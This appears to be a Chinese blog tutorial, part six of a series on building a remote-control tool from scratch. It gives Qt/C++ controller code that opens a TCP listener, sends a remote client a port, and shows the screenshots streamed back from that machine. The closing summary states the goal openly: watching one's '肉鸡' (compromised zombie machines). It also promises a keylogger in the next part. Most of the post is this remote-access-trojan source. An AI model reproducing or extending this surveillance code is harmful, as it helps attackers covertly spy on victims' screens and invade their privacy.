您的位置:首页 > 运维架构

从零开始做远控 第六篇 屏幕监控

2016-12-21 16:41 741 查看
如果你从没看过这系列教程请点击:从零开始做远控
简介篇

屏幕监控:

这一节我们是完成屏幕监控的最后一部分,就是在服务端里发送指令,然后从客户端不断获取屏幕截图数据,画到窗口上,形成实时监控。

晒下效果图:





ScreenSpy类:

1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。

2.启动新的服务端,专门监控屏幕.

3.定义数据包头,可以从上一节复制过来。

// 数据头
typedef struct {
unsigned int len;    // jpg文件大小
} ScreenSpyHeader;


4.屏幕截图数据读取和打印在窗口上

void ScreenSpy::processBuffer()
{
QByteArray *buf = mSock->buffer();

while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
// 读取头
if (mScreenLen == 0) {
if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
ScreenSpyHeader header;
memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
buf->remove(0, sizeof(ScreenSpyHeader));

// 设置图片数据
mScreenLen = header.len;
} else {
break;
}
}

// 读取JPG图片
if (mScreenLen > 0){
if ((unsigned int)buf->size() >= mScreenLen) {
// 保存新图片
mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);

// 显示图片
mScreenLabel->setPixmap(mScreenPixmap);

// 擦除数据
buf->remove(0, mScreenLen);
mScreenLen = 0;
} else {
break;
}
}
}
}


代码

ScreenSpy.h

/*
* Author: sumkee911@gmail.com
* Date: 2016-12-21
* Brief: 从客户端接收屏幕图片数据,然后画在窗口上
*
*/

#ifndef SCREENSPY_H
#define SCREENSPY_H

#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>

class ScreenSpy : public QWidget
{
Q_OBJECT
public:
explicit ScreenSpy( QWidget *parent = 0);

// 数据头 typedef struct { unsigned int len; // jpg文件大小 } ScreenSpyHeader;
// 开始监控服务器,然后返回新的端口号
int startScreenSpyServer(QString userName);

private:
QLabel *mScreenLabel; // 用来显示图片
TcpServer *mServer; // 屏幕监控服务端
TcpSocket *mSock; // 屏幕监控客户端
QPixmap mScreenPixmap; // 当前屏幕截图
unsigned int mScreenLen; // JPG图片大小

signals:

public slots:
// 有新客户连接
void newConnection(QTcpSocket *s);

// 处理新数据
void processBuffer();

protected:
// 大小重置
void resizeEvent(QResizeEvent *);

// 关闭
void closeEvent(QCloseEvent *);
};

#endif // SCREENSPY_H


ScreenSpy.cpp

#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :
QWidget(parent), mScreenLen(0)
{
// 初始化窗口
const int w = 800, h = 450;
const int x = (QApplication::desktop()->width() - w) >> 1;
const int y = (QApplication::desktop()->height() - h) >> 1;
this->setGeometry(x, y, w, h);
// 图片label
mScreenLabel = new QLabel(this);
mScreenLabel->setGeometry(0,0, w, h);
mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{
// 设置窗口标题
this->setWindowTitle(userName.append("-屏幕监控"));
// 开启新的服务端
mServer = new TcpServer(this);
connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
mServer->start(0);
if (!mServer->server()->isListening()) {
qDebug() << "开启屏幕监控服务端失败";
deleteLater();
return -1;
}
// 开启监控窗口
this->show();
return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{
// 新增客户
mSock = new TcpSocket(s, this);
connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
// 不再监听新客户
mServer->server()->close();
}
void ScreenSpy::processBuffer()
{
QByteArray *buf = mSock->buffer();
while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
// 读取头
if (mScreenLen == 0) {
if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
ScreenSpyHeader header;
memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
buf->remove(0, sizeof(ScreenSpyHeader));
// 设置图片数据
mScreenLen = header.len;
} else {
break;
}
}
// 读取JPG图片
if (mScreenLen > 0){
if ((unsigned int)buf->size() >= mScreenLen) {
// 保存新图片
mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);
// 显示图片
mScreenLabel->setPixmap(mScreenPixmap);
// 擦除数据
buf->remove(0, mScreenLen);
mScreenLen = 0;
} else {
break;
}
}
}
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{
// 重设mScreenLabel大小
mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{
// 删除窗口
deleteLater();
}


6.子ZeroClient类里增加新的公有函数sendScreenSpy()。

void ZeroClient::sendScreenSpy(int port)
{
QString data;
data.append(CmdScreenSpy+CmdSplit);
data.append("PORT"+CmdSplit+QString::number(port));
data.append(CmdEnd);
mSock->write(data.toLocal8Bit());
}


7.修改Widget类里的screenSpyClicked()。

void Widget::screenSpyClicked()
{
int id = currentClientIdFromTable();
if (id != -1) {
ScreenSpy *ss = new ScreenSpy();
ZeroClient *client = mZeroServer->client(id);
int port = ss->startScreenSpyServer(QString::number(id));

// 开始监控
client->sendScreenSpy(port);
}
}


本节总结:

我们已经完成了屏幕监控了,现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。

本节完整代码:

对上节作出的修改:

1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。

2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。

下载完整代码
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息